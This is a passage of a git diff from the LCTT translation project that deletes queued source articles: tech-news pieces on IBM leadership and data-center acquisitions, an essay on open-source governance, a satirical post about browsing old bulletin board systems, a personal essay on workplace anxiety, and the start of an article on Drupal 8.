Amazon and Microsoft among others. Gartner says that market will be worth $240 billion by next year. - -[][3] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][3] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -In its most recent financial call IBM talked-up the successes of its cloud and Red Hat growth. For example its total cloud revenue of $6.8 billion was up 21% year over year, and Red Hat’s normalized revenue was up 24%, eclipsing $1 billion in a quarter for the first time, IBM stated. - -“The next chapter of cloud will be driven by mission-critical workloads managed in a hybrid, multi-cloud environment. This will be based on a foundation of Linux, with containers and Kubernetes. This quarter we had strong performance in RHEL and OpenShift,”  said Jim Kavanaugh IBM senior vice president and chief financial officer (a full transcript of that financial call is available from Seeking Alpha [here][4].)  “As we look forward, the largest hybrid-cloud opportunity is in services, advising clients on architectural choices, moving workloads, building new applications and of course managing them.” - -In announcing the leadershiop transition, which will occur April 6, [Rometty wrote of Krishna][5]: "He is a brilliant technologist who has played a significant role in developing our key technologies such as artificial intelligence, cloud, quantum computing and blockchain.  He is also a superb operational leader, able to win today while building the business of tomorrow." - -Under Rometty, who was named CEO in 2012, IBM has acquired 65 companies, reinvented more than 50% of IBM's portfolio, built a $21 billion hybrid-cloud business and established IBM's position in AI, quantum computing and blockchain, IBM stated. Rometty will remain as executive chairman until the end of 2020 and then retire after some 40 years at the company.  - -Meanwhile, Rometty had this to say about Whitehurst, 52, who is currently IBM senior vice president and CEO of Red Hat: "Jim is also a seasoned leader who has positioned Red Hat as the world's leading provider of open-source enterprise IT software solutions and services, and has been quickly expanding the reach and benefit of that technology to an even wider audience as part of IBM.” - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3518795/ibms-ceo-virginia-rometty-to-be-replaced-by-its-cloud-red-hat-chiefs.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.networkworld.com/article/3317517/the-ibm-red-hat-deal-what-it-means-for-enterprises.html -[3]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[4]: https://seekingalpha.com/article/4318204-international-business-machines-corporation-ibm-q4-2019-results-earnings-call-transcript -[5]: https://newsroom.ibm.com/2020-01-30-Arvind-Krishna-Elected-IBM-Chief-Executive-Officer -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200202 6 open governance questions every project needs to answer.md b/sources/talk/20200202 6 open governance questions every project needs to answer.md deleted file mode 100644 index f349b66ade..0000000000 --- a/sources/talk/20200202 6 open governance questions every project needs to answer.md +++ /dev/null @@ -1,80 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (6 open governance questions every project needs to answer) -[#]: via: (https://opensource.com/article/20/2/open-source-projects-governance) -[#]: author: (Gordon Haff https://opensource.com/users/ghaff) - -6 open governance questions every project needs to answer -====== -Open governance insights from Chris Aniszczyk, VP of Developer Relations -at the Linux Foundation. -![Two government buildings][1] - -When we think about what needs to be in place for an open source project to function, one of the first things to come to mind is probably a license. For one thing, absent an approved [Open Source Initiative (OSI) license][2], a project isn’t truly open source in the minds of many. Furthermore, the choice to use a copyleft license like the GNU General Public License (GPL) or a permissive license like Massachusetts Institute of Technology (MIT) can affect the sort of community that grows up around and uses the project. - -However, Chris Aniszczyk, VP of Developer Relations at the Linux Foundation, argues that it’s equally important to consider the **open governance of a project** because the license itself doesn’t actually tell you how the project is governed. - -These are some of the questions that Aniszczyk argues need be answered. He adds that answering these questions before disputes arise, and answering them in a way that’s viewed as open and fair to all participants leads to projects that tend to be more successful long term, especially as they grow in size. - -### 6 open governance questions for every project - - 1. Who makes the decisions? - 2. How are maintainers added? - 3. Who owns the rights to the domain? - 4. Who owns the rights to the trademarks? - 5. How are those things governed? - 6. Who owns how the build system works? - - - -However, while all of these questions should be considered, there isn’t one correct way of answering them. Different projects—and foundations hosting projects—take different approaches, whether to accommodate the requirements of a particular community or just for historical reasons. - -The latter is often the case when a project uses something often called the Benevolent Dictator for Life (BDFL) model, in which one person—usually the project's founder—generally has the final say on major project decisions. Many projects end up here by default—perhaps most notably the Linux kernel. However, Red Hat’s Joe Brockmeier observed to me that it’s mostly considered an anti-pattern at this point. "While a few BDFL-driven projects have succeeded to do well, others have stumbled with that approach," he says. - -Aniszczyk observes that "foundations have different sets of bylaws, charters, and how they’re structured, and there are fascinating differences between these organizations. Like Apache is very famous for the Apache Way, and that’s how they expect projects to operate. They very much have guardrails about how releases are done. [It’s] kind of an incubator process where every project starts way before it graduates to a top-level project. In terms of how projects are governed, it’s almost like an infinite amount of approaches," he concludes. - -### Minimum requirements - -That said, Aniszczyk lists some minimum requirements. - -"Our pattern, at least, in many Linux Foundation and Cloud Native Computing Foundation (CNCF) projects, is a _governance.md_ file, which describes how decisions are made, how things are governed, how maintainers are added, removed, how are sub-projects added, removed, etc., how releases are done. That would be step one," he says. - -#### Ownership - -Secondly, he doesn’t "think you could do open governance without assets being neutrally owned. At the end of the day, someone owns the domain, the rights to the trademark, some of the copyright, potentially. There are many great organizations out there that are super lightweight. There are things like the Apache Foundation, Software in the Public Interest, and the Software Freedom Conservancy." - -Aniszczyk also sees some common approaches as at least potential anti-patterns. A key example is contributor license agreements (CLA), which define the terms under which intellectual property, like code, is contributed to a project. He says that if a company wants "to build a product or use a dual license type model, that’s a very valid reason for a CLA. Otherwise, I view CLA as a high friction tool for developers." - -#### Developer Certificate of Origin - -Instead, he generally encourages people to "use what we call the 'Developer Certificate of Origin.' It’s how the Linux kernel works, where basically it takes all the basic things that most CLAs do, which would be like, ‘Did I write this code? Did I not copy it elsewhere? Do I have the rights to give this to you, and you sign off on?’ It’s been a very successful model played out in the kernel and many other ecosystems. I’m generally not really supportive of having CLAs unless there’s a real strict business need." - -#### Naming a project - -He also sees a lot of what he considers mistakes in naming. "Project branding is super important. There’s a common pattern where people will start a project, it could be within a company or yourself, or you have a startup, and you’ll call it, let’s say, 'Docker.' Then you have Docker the project, and you have Docker, the company. Then you also have Docker the product or Docker the enterprise product. All those things serve different audiences. It leads to confusion because I have an inherent belief that the name of something has a value proposition attached to it. Please name your company separate from your project, from your product," he argues. - -#### Trust - -Finally, Aniszczyk points to the role of open governance in building trust and confidence that a company can’t just take a project unilaterally for its own ends. "Trust is table stakes in order to build strong communities because, without openly governed institutions in projects, trust is very hard to come by," he concludes. - -_List to the Innovate @Open podcast episode from which Chris Aniszczyk’s remarks were drawn can be heard [here][3]._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/open-source-projects-governance - -作者:[Gordon Haff][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ghaff -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LAW_lawdotgov2.png?itok=n36__lZj (Two government buildings) -[2]: https://opensource.org/licenses -[3]: https://grhpodcasts.s3.amazonaws.com/cra1911.mp3 diff --git a/sources/talk/20200202 Bulletin Board Systems- The VICE Exposé.md b/sources/talk/20200202 Bulletin Board Systems- The VICE Exposé.md deleted file mode 100644 index 9e5396fd8c..0000000000 --- a/sources/talk/20200202 Bulletin Board Systems- The VICE Exposé.md +++ /dev/null @@ -1,127 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Bulletin Board Systems: The VICE Exposé) -[#]: via: (https://twobithistory.org/2020/02/02/bbs.html) -[#]: author: (Two-Bit History https://twobithistory.org) - -Bulletin Board Systems: The VICE Exposé -====== - -By now, you have almost certainly heard of the dark web. On sites unlisted by any search engine, in forums that cannot be accessed without special passwords or protocols, criminals and terrorists meet to discuss conspiracy theories and trade child pornography. - -We have reported before on the dark web’s [“hurtcore” communities][1], its [human trafficking markets][2], its [rent-a-hitman websites][3]. We have explored [the challenges the dark web presents to regulators][4], the rise of [dark web revenge porn][5], and the frightening size of [the dark web gun trade][6]. We have kept you informed about that one dark web forum where you can make like Walter White and [learn how to manufacture your own drugs][7], and also about—thanks to our foreign correspondent—[the Chinese dark web][8]. We have even attempted to [catalog every single location on the dark web][9]. Our coverage of the dark web has been nothing if not comprehensive. - -But I wanted to go deeper. - -We know that below the surface web is the deep web, and below the deep web is the dark web. It stands to reason that below the dark web there should be a deeper, darker web. - -A month ago, I set out to find it. Unsure where to start, I made a post on _Reddit_, a website frequented primarily by cosplayers and computer enthusiasts. I asked for a guide, a Styx ferryman to bear me across to the mythical underworld I sought to visit. - -Only minutes after I made my post, I received a private message. “If you want to see it, I’ll take you there,” wrote _Reddit_ user FingerMyKumquat. “But I’ll warn you just once—it’s not pretty to see.” - -### Getting Access - -This would not be like visiting Amazon to shop for toilet paper. I could not just enter an address into the address bar of my browser and hit go. In fact, as my Charon informed me, where we were going, there are no addresses. At least, no web addresses. - -But where exactly were we going? The answer: Back in time. The deepest layer of the internet is also the oldest. Down at this deepest layer exists a secret society of “bulletin board systems,” a network of underground meetinghouses that in some cases have been in continuous operation since the 1980s—since before Facebook, before Google, before even stupidvideos.com. - -To begin, I needed to download software that could handle the ancient protocols used to connect to the meetinghouses. I was told that bulletin board systems today use an obsolete military protocol called Telnet. Once upon a time, though, they operated over the phone lines. To connect to a system back then you had to dial its _phone number_. - -The software I needed was called [SyncTerm][10]. It was not available on the App Store. In order to install it, I had to compile it. This is a major barrier to entry, I am told, even to veteran computer programmers. - -When I had finally installed SyncTerm, my guide said he needed to populate my directory. I asked what that was a euphemism for, but was told it was not a euphemism. Down this far, there are no search engines, so you can only visit the bulletin board systems you know how to contact. My directory was the list of bulletin board systems I would be able to contact. My guide set me up with just seven, which he said would be more than enough. - -_More than enough for what,_ I wondered. Was I really prepared to go deeper than the dark web? Was I ready to look through this window into the black abyss of the human soul? - -![][11] _The vivid blue interface of SyncTerm. My directory of BBSes on the left._ - -### Heatwave - -I decided first to visit the bulletin board system called “Heatwave,” which I imagined must be a hangout for global warming survivalists. I “dialed” in. The next thing I knew, I was being asked if I wanted to create a user account. I had to be careful to pick an alias that would be inconspicuous in this sub-basement of the internet. I considered “DonPablo,” and “z3r0day,” but finally chose “ripper”—a name I could remember because it is also the name of my great-aunt Meredith’s Shih Tzu. I was then asked where I was dialing from; I decided “xxx” was the right amount of enigmatic. - -And then—I was in. Curtains of fire rolled down my screen and dispersed, revealing the main menu of the Heatwave bulletin board system. - -![][12] _The main menu of the Heatwave BBS._ - -I had been told that even in the glory days of bulletin board systems, before the rise of the world wide web, a large system would only have several hundred users or so. Many systems were more exclusive, and most served only users in a single telephone area code. But how many users dialed the “Heatwave” today? There was a main menu option that read “(L)ast Few Callers,” so I hit “L” on my keyboard. - -My screen slowly filled with a large table, listing all of the system’s “callers” over the last few days. Who were these shadowy outcasts, these expert hackers, these denizens of the digital demimonde? My eyes scanned down the list, and what I saw at first confused me: There was a “Dan,” calling from St. Louis, MO. There was also a “Greg Miller,” calling from Portland, OR. Another caller claimed he was “George” calling from Campellsburg, KY. Most of the entries were like that. - -It was a joke, of course. A meme, a troll. It was normcore fashion in noms de guerre. These were thrill-seeking Palo Alto adolescents on Adderall making fun of the surface web. They weren’t fooling me. - -I wanted to know what they talked about with each other. What cryptic colloquies took place here, so far from public scrutiny? My index finger, with ever so slight a tremble, hit “M” for “(M)essage Areas.” - -Here, I was presented with a choice. I could enter the area reserved for discussions about “T-99 and Geneve,” which I did not dare do, not knowing what that could possibly mean. I could also enter the area for discussions about “Other,” which seemed like a safe place to start. - -The system showed me message after message. There was advice about how to correctly operate a leaf-blower, as well as a protracted debate about the depth of the Strait of Hormuz relative to the draft of an aircraft carrier. I assumed the real messages were further on, and indeed I soon spotted what I was looking for. The user “Kevin” was complaining to other users about the side effects of a drug called Remicade. This was not a drug I had heard of before. Was it some powerful new synthetic stimulant? A cocktail of other recreational drugs? Was it something I could bring with me to impress people at the next VICE holiday party? - -I googled it. Remicade is used to treat rheumatoid arthritis and Crohn’s disease. - -In reply to the original message, there was some further discussion about high resting heart rates and mechanical heart valves. I decided that I had gotten lost and needed to contact FingerMyKumquat. “Finger,” I messaged him, “What is this shit I’m looking at here? I want the real stuff. I want blackmail and beheadings. Show me the scum of the earth!” - -“Perhaps you’re ready for the SpookNet,” he wrote back. - -### SpookNet - -Each bulletin board system is an island in the television-static ocean of the digital world. Each system’s callers are lonely sailors come into port after many a month plying the seas. - -But the bulletin board systems are not entirely disconnected. Faint phosphorescent filaments stretch between the islands, links in the special-purpose networks that were constructed—before the widespread availability of the internet—to propagate messages from one system to another. - -One such network is the SpookNet. Not every bulletin board system is connected to the SpookNet. To get on, I first had to dial “Reality Check.” - -![][13] _The Reality Check BBS._ - -Once I was in, I navigated my way past the main menu and through the SpookNet gateway. What I saw then was like a catalog index for everything stored in that secret Pentagon warehouse from the end of the _X-Files_ pilot. There were message boards dedicated to UFOs, to cryptography, to paranormal studies, and to “End Times and the Last Days.” There was a board for discussing “Truth, Polygraphs, and Serums,” and another for discussing “Silencers of Information.” Here, surely, I would find something worth writing about in an article for VICE. - -I browsed and I browsed. I learned about which UFO documentaries are worth watching on Netflix. I learned that “paper mill” is a derogatory term used in the intelligence community (IC) to describe individuals known for constantly trying to sell “explosive” or “sensitive” documents—as in the sentence, offered as an example by one SpookNet user, “Damn, here comes that paper mill Juan again.” I learned that there was an effort afoot to get two-factor authentication working for bulletin board systems. - -“These are just a bunch of normal losers,” I finally messaged my guide. “Mostly they complain about anti-vaxxers and verses from the Quran. This is just _Reddit_!” - -“Huh,” he replied. “When you said ‘scum of the earth,’ did you mean something else?” - -I had one last idea. In their heyday, bulletin board systems were infamous for being where everyone went to download illegal, cracked computer software. An entire subculture evolved, with gangs of software pirates competing to be the first to crack a new release. The first gang to crack the new software would post their “warez” for download along with a custom piece of artwork made using lo-fi ANSI graphics, which served to identify the crack as their own. - -I wondered if there were any old warez to be found on the Reality Check BBS. I backed out of the SpookNet gateway and keyed my way to the downloads area. There were many files on offer there, but one in particular caught my attention: a 5.3 megabyte file just called “GREY.” - -I downloaded it. It was a complete PDF copy of E. L. James’ _50 Shades of Grey_. - -_If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][14] on Twitter or subscribe to the [RSS feed][15] to make sure you know when a new post is out._ - -_Previously on TwoBitHistory…_ - -> I first heard about the FOAF (Friend of a Friend) standard back when I wrote my post about the Semantic Web. I thought it was a really interesting take on social networking and I've wanted to write about it since. Finally got around to it! -> -> — TwoBitHistory (@TwoBitHistory) [January 5, 2020][16] - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2020/02/02/bbs.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://www.vice.com/en_us/article/mbxqqy/a-journey-into-the-worst-corners-of-the-dark-web -[2]: https://www.vice.com/en_us/article/vvbazy/my-brief-encounter-with-a-dark-web-human-trafficking-site -[3]: https://www.vice.com/en_us/article/3d434v/a-fake-dark-web-hitman-site-is-linked-to-a-real-murder -[4]: https://www.vice.com/en_us/article/ezv85m/problem-the-government-still-doesnt-understand-the-dark-web -[5]: https://www.vice.com/en_us/article/53988z/revenge-porn-returns-to-the-dark-web -[6]: https://www.vice.com/en_us/article/j5qnbg/dark-web-gun-trade-study-rand -[7]: https://www.vice.com/en_ca/article/wj374q/inside-the-dark-web-forum-that-tells-you-how-to-make-drugs -[8]: https://www.vice.com/en_us/article/4x38ed/the-chinese-deep-web-takes-a-darker-turn -[9]: https://www.vice.com/en_us/article/vv57n8/here-is-a-list-of-every-single-possible-dark-web-site -[10]: http://syncterm.bbsdev.net/ -[11]: https://twobithistory.org/images/sync.png -[12]: https://twobithistory.org/images/heatwave-main-menu.png -[13]: https://twobithistory.org/images/reality.png -[14]: https://twitter.com/TwoBitHistory -[15]: https://twobithistory.org/feed.xml -[16]: https://twitter.com/TwoBitHistory/status/1213920921251131394?ref_src=twsrc%5Etfw diff --git a/sources/talk/20200203 Private equity firms are gobbling up data centers.md b/sources/talk/20200203 Private equity firms are gobbling up data centers.md deleted file mode 100644 index 25feb6394e..0000000000 --- a/sources/talk/20200203 Private equity firms are gobbling up data centers.md +++ /dev/null @@ -1,66 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Private equity firms are gobbling up data centers) -[#]: via: (https://www.networkworld.com/article/3518817/private-equity-firms-are-gobbling-up-the-data-center-market.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Private equity firms are gobbling up data centers -====== -Private equity firms accounted for 80% of all data-center acquisitions in 2019. Is that a good thing? -scanrail / Getty Images - -Merger and acquisition activity surrounding [data-center][1] facilities is starting to resemble the Oklahoma Land Rush, and private-equity firms are taking most of the action. - -New research from Synergy Research Group saw more than 100 deals in 2019, a 50% growth over 2018, and private-equity companies accounted for 80% of them. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -M&A activity broke the 100 transaction mark for the first time in 2019, and that comes despite a 45% decline in public company activity, such as the massive Digital Reality Trust [purchase][3] of Interxion. At the same time, the size of the deals dropped in 2019, with fewer worth $1 billion or more vs. 2018, and the average deal value fell 24% vs. 2018. - -[][4] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][4] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -Since 2015, there have been approximately 350 data-center deals, both public and private, with a total value of $75 billion, according to Synergy. Over this period, private equity buyers have accounted for 57% of the deal volume. Deals were roughly a 50-50 split until 2018 when public company purchases began to trail off. - -Anecdotally, I’ve heard one reason for the decline in big deals is there are no more big purchases to be had, at least in the US. DRT/Interxion is an exception, and Interxion is a foreign company. Other big deals, like Equinix purchasing Verizon’s data centers for $3.6 billion in 2017 or AT&T selling its data centers to private equity company Brookfield in 2019. There just isn’t much left to sell. - -The question becomes is this necessarily a good thing? Private equity firms have something of a well-earned bad reputation for buying up companies, sucking all the profit out of them and discarding the empty husk. - -But John Dinsdale, chief analyst for Synergy, said not to worry, that the private equity firms grabbing data centers are looking to grow them. “This is a heavily infrastructure-oriented business where what you can take out is pretty directly related to what you put in. A lot of these equity investors are looking to build something rather than quickly flipping the assets,” he said via e-mail. - -He added “In these types of business there isn’t that much manpower, HQ or overhead there to be stripped out.” Which is true. Data centers are pretty low-staffed. It was a national news item several years ago that Apple’s $1 billion data center in rural North Carolina would only [create 50 jobs][5]. That’s true for most data centers. - -At least one big player, Digital Realty Trust, was formed in 2004 after private-equity firm GI Partners bought out 21 data centers from a bankruptcy. DRT has grown to 214 centers in the U.S. and Europe. - -So in this case, a private equity firm buying out your data center provider might prove to be a good thing. - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3518817/private-equity-firms-are-gobbling-up-the-data-center-market.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3223692/what-is-a-data-centerhow-its-changed-and-what-you-need-to-know.html -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.networkworld.com/article/3451437/digital-realty-acquisition-of-interxion-reshapes-data-center-landscape.html -[4]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[5]: https://www.cultofmac.com/132012/despite-huge-unemployment-rate-apples-1-billion-data-super-center-only-created-50-new-jobs/ -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200204 Stuck in a loop- 4 signs anxiety may be affecting your work.md b/sources/talk/20200204 Stuck in a loop- 4 signs anxiety may be affecting your work.md deleted file mode 100644 index 7247f94476..0000000000 --- a/sources/talk/20200204 Stuck in a loop- 4 signs anxiety may be affecting your work.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Stuck in a loop: 4 signs anxiety may be affecting your work) -[#]: via: (https://opensource.com/open-organization/20/2/working-anxiety-inaction-loop) -[#]: author: (Sam Knuth https://opensource.com/users/samfw) - -Stuck in a loop: 4 signs anxiety may be affecting your work -====== -Gathering feedback is an everyday practice in open organizations. Are -you collecting data to improve your products—or to alleviate your own -apprehensions? -![arrows cycle symbol for failing faster][1] - -_Editor's note: This article is part of a series on working with mental health conditions. It details the author's personal experiences and is not meant to convey professional medical advice or guidance._ - -A few months ago, I was chatting with one of our VPs about my new role and some of the work I was hoping to do with my team. I'd decided that one of my first actions in the new position would be to interview members of the senior leadership team to get their input on strategy. I'd be leading an entirely new function for my department, and I felt it would be good to get input from a wide array of stakeholders before jumping to action. This is part of my standard practice working in an open organization. - -I had several goals for these one-on-one conversations. I wanted to be transparent in my work. I wanted to validate some of my hypotheses. I wanted to confirm that what I wanted to do would be valuable to other leaders. And I wanted to get some assurance that I was on the right track. - -Or so I thought. - -"Hmmm," said the VP after I had shared my initial ideas. He hesitated. "It's very broad." More hesitation. I'm not sure what I had expected him to say, but this was definitely not the kind of assurance I was hoping for. "You need to be careful about tilting at windmills." I didn't know what "[tilting at windmills][2]" meant, but it sounded like a good thing to avoid doing. - -After having several more of these conversations over the course of a few weeks—many of them lively and fruitful—I came to one clear conclusion: Although I was getting lots of great input, I wasn't going to find any kind of consensus about priorities among the leadership team. - -So why was I asking? - -Eventually I realized what was _really_ underlying my desire to seek input: not just a desire to learn from the people I was interviewing, but also a nagging question in my gut. "Am I doing the right thing?" - -One manifestation of anxiety is a worry that we're doing something wrong, which is also related to [imposter syndrome][3] (worry that we're going to be "found out" as unqualified for or incapable of the work or the role we've been given). - -I've [previously described][4] a positive "anxiety performance loop" that can drive high performance. I can occasionally fall into another kind of anxiety loop, an "inaction loop," which can _lower_ performance. Figure 1 (below) illustrates it. - -![][5] - -One challenge of this manifestation of anxiety is that it creeps up on me; I don't consciously realize that I'm stuck in it until something happens that makes it apparent. - -In this case, that "something" was my coach. - -My desire to get input from a large variety of stakeholders was resulting in so much input that it was preventing me from moving forward. - -During a session when my coach was asking me questions about my work, I came to the realization that I was overly worried about whether I was on the right track. My desire to get input from a large variety of stakeholders (a legitimate thing to do) was resulting in so much input that it was preventing me from moving forward. - -If I hadn't been fortunate enough to be working with a coach, I may never have had that realization—or I may have had it through a much harder experience. At some point, anxiety about whether you are doing the right thing could lead to failure, not because you did the wrong thing but because you didn't do anything at all. - -I've found a few signs to help me realize if I'm in an anxiety inaction loop. I may be in one of these loops if: - - * I talk about what I'm _planning_ to do rather than what I _am_ doing - * I feel that I need just _one more person's_ opinion, or I just need to check in with my boss _one more time_, before moving ahead - * I am revising the same presentation repeatedly but never actually giving the presentation to anyone - * I am avoiding or delaying something (such as giving a talk, or making a decision) - - - -Having tools for self-reflection is critical. The reality is that most of the time I'm not working with a coach, and I need to be able to recognize these symptoms on my own. That will only happen if I set aside time to reflect on how things are going and to ask myself hard questions about whether I am stuck in any of these stalling patterns. I've started to build this time into my calendar, usually on Friday afternoons, or early in the morning before my meetings start. - -The fact that my anxiety can manifest both as dual worries—that I am not doing the right thing and that I am not doing enough—can be paradoxical. - -Recognizing the anxiety loop is the first step. To get out of it, I've developed a few techniques like: - - * Setting achievement milestones in 90 day increments, reviewing them on a weekly basis, and using this as an opportunity to reflect on progress. - * Reminding myself that (in fact) I might _not_ be doing the right thing. If that's the case, I'll get feedback, correct, and keep going (it won't be the end of the world). - * Reminding myself that I am in this job for a reason; people want me to do the job. They don't want me to ask them what to do or wait for them to tell me what to do. - * When seeking input from others, saying "This is what I am planning on doing" rather than "What do you think of this?" then either hearing objections if they arise or moving ahead if not. - - - -The fact that my anxiety can manifest both as dual worries—that I am not doing the right thing _and_ that I am not doing enough—can be paradoxical. Over-correcting to get out of an anxiety inaction loop could put me right into [an anxiety performance loop][4]. Neither situation feels like a healthy one. - -As with most things, the answer is balance and moderation. Finding that balance is precisely the challenge anxiety creates. In some cases I may be worried I'm not doing enough; in others I may be worried that what I'm doing isn't right, which leads me to slow down. The best approach I have found so far is awareness—taking the time to reflect and trying to correct if I'm going too far in either direction. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/2/working-anxiety-inaction-loop - -作者:[Sam Knuth][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/samfw -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/fail_progress_cycle_momentum_arrow.png?itok=q-ZFa_Eh (arrows cycle symbol for failing faster) -[2]: https://en.wikipedia.org/wiki/Don_Quixote#Tilting_at_windmills -[3]: https://en.m.wikipedia.org/wiki/Impostor_syndrome -[4]: https://opensource.com/open-organization/20/1/leading-openly-anxiety -[5]: https://opensource.com/sites/default/files/images/open-org/loop_2.png diff --git a/sources/talk/20200206 How Drupal 8 aims to be future-proof.md b/sources/talk/20200206 How Drupal 8 aims to be future-proof.md deleted file mode 100644 index 616aaa164f..0000000000 --- a/sources/talk/20200206 How Drupal 8 aims to be future-proof.md +++ /dev/null @@ -1,114 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How Drupal 8 aims to be future-proof) -[#]: via: (https://opensource.com/article/20/2/drupal-8-promises) -[#]: author: (Shefali Shetty https://opensource.com/users/shefalishetty) - -How Drupal 8 aims to be future-proof -====== -What you need to know about Drupal 8 updates. -![Drupal logo with gray and blue][1] - -Thomas Edison famously said, "The three great essentials to achieve anything worthwhile are, first, hard work; second, stick-to-itiveness; third, common sense." This quote made me wonder if "sticking-to-it" is contradictory to innovation; does it make you resistant to change? But, the more I pondered on it, I realized that innovation is fueled by perseverance. - -Before Drupal 8 was introduced, the Core committee had not just promised to innovate; they decided to be persistent. Persistent in continuous reinvention. Persistent in making Drupal easier to adopt—not only by the market but also by developers with various levels of expertise. However, to be able to make Drupal successful and relevant in the long run, a drastic change was needed—a change that would build a better future. For this, Drupal 8 had to dismantle the Drupal 7 architecture and lay a fresh foundation for a promising future. Moving on to Drupal 9 (coming soon) and subsequent versions will now be easy and straightforward. - -### Freedom to innovate with open source - -Innovation brings freedom, and freedom creates innovation. Open source gives you the freedom to access, learn, contribute, and, most importantly, the freedom to innovate. The ability to learn, catch up, and reinvent is extremely crucial today. Drupal began as a small internal news website and later went on to become an open source content management system (CMS) because there was a potential to make it much more compelling by attracting more contributions. It gave developers the freedom to collaborate, re-use components, and improvise on it to create something more modern, powerful, and relevant. - -### Promises delivered: Drupal 8 version history - -The web is always changing. To stay relevant, [Drupal][2] had to introduce changes that were revolutionary but, at the same time, not so hard to accept. Drupal 7, as a content management system, was widely welcomed. But it lacked in certain aspects like developer adoptability, easy upgrade paths, better API support, and more. Drupal 8 changed everything. They did not choose to build upon Drupal 7, which would have been an easier choice for an open source CMS. For a more future-proof CMS that is ready to accept changes, Drupal 8 had to be rebuilt with more modern components like Symfony, Twig, PHP 7, and initiatives like the API-first initiative, mobile-first initiative, Configuration Management initiative, etc. - -Drupal 8 was released with a promise of providing more ambitious digital experiences with better UX improvements and mobile compatibilities. The goal was to continuously innovate and reinvent itself. For this to work, these practices needed to be put in place: semantic versioning (major.minor.patch), scheduled releases (two minor releases per year), and introducing experimental modules in Core. All of this while providing backward compatibility and removing deprecated code. - -Let’s look at some of the promises that have been delivered with each minor version of Drupal 8. - - * **Drupal 8.0** - * Modern and sophisticated PHP practices, object-oriented programming, and libraries. - * Storage and management of configuration was a bit of a messy affair with Drupal 7. The Configuration Management Initiative was introduced with Drupal 8.0, which allowed for cleaner installations and config management. Configurations are now stored in easily readable YAML format files. These config files can also be readily imported. This allows for smooth and easy transitions to different deployment environments. - * Adding Symfony components drastically improved Drupal 8’s flexibility, performance, and robustness. Symfony is an open source PHP framework, and it abides by the MVC (Model-View-Controller) architecture. - * Twig is a powerful template engine for PHP, replaced Drupal’s engine since 2005, PHPTemplate. With Twig, the code is now more readable, and the theme system is less complex, uses inheritance 